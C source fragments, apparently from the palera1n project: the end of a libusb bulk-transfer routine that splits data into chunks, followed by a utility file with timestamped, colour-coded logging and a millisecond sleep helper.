// by half a MB and impose an appropriate max value.
if(*end == '\n') ++end;
if(*end != '\0' || max == 0 || max >= 0x2000) {
result.ret = USB_TRANSFER_ERROR;
result.sz = transferred;
return result;
}
maxLen = (uint32_t)(max << 19);
}
else
#endif
{
// Just 1MB by default?
maxLen = 0x100000;
}
}
// If we get here, we have to chunk our data
for(int done = transferred; done < len; )
{
uint32_t chunk = len - done;
if(chunk > maxLen) chunk = maxLen;
transferred = 0;
ret = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0);
done += transferred;
if(ret == LIBUSB_SUCCESS) continue;
if(ret != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) {
result.ret = USB_TRANSFER_ERROR;
result.sz = transferred;
return result;
}
maxLen /= 2;
}
result.ret = USB_TRANSFER_OK;
result.sz = transferred;
return result;
}
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
handle->vid = vid;
handle->pid = pid;
handle->device = NULL;
}
#endif // __APPLE__
+127
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/*
* palera1n - https://palera.in
*
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <utils.h>
#include <stdint.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdarg.h>
#ifdef _WIN32
# include <windows.h>
#endif
#include <time.h>
uint8_t gDebugLevel = 0;
bool gSilentLogs = false;
bool gColoredLogs = true;
static const char *level_names[] = {
[LOG_INFO] = "INFO",
[LOG_ERROR] = "ERROR",
[LOG_VERBOSE] = "VERBOSE",
};
static const char *level_colors[] = {
[LOG_INFO] = CYAN_COLOR,
[LOG_ERROR] = RED_COLOR,
[LOG_VERBOSE] = RESET_COLOR,
};
static inline void _get_timestamp(char *buf, size_t len)
{
time_t t = time(NULL);
struct tm tm_info;
#ifdef _WIN32
localtime_s(&tm_info, &t);
#else
localtime_r(&t, &tm_info);
#endif
strftime(buf, len, "%Y/%m/%d %H:%M:%S", &tm_info);
}
void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...)
{
if (gSilentLogs) return;
if (level == LOG_VERBOSE && gDebugLevel < 1) return;
va_list args;
va_start(args, fmt);
char tag_buf[32];
char ts[32];
_get_timestamp(ts, sizeof(ts));
snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_names[level]);
if (!gColoredLogs) {
printf(" %9s [%s] => ", tag_buf, ts);
} else {
printf(" %s%9s%s [%s%s%s] => ",
level_colors[level],
tag_buf,
RESET_COLOR,
GRAY_COLOR,
ts,
RESET_COLOR
);
}
vprintf(fmt, args);
if (gDebugLevel >= 2) {
if (gColoredLogs) {
printf("\n %s└────[%sTRACE(%d)%s = %s()[%s:%d]]",
RESET_COLOR,
MAGENTA_COLOR,
gDebugLevel,
RESET_COLOR,
func,
file,
line
);
} else {
printf("\n └────[TRACE(%d) = %s()[%s:%d]]",
gDebugLevel,
func,
file,
line
);
}
}
putchar('\n');
va_end(args);
}
void sleep_ms(unsigned ms) {
#ifdef _WIN32
Sleep(ms);
#else
struct timespec ts;
ts.tv_sec = ms / 1000;
ts.tv_nsec = (ms % 1000) * 1000000L;
nanosleep(&ts, NULL);
#endif
}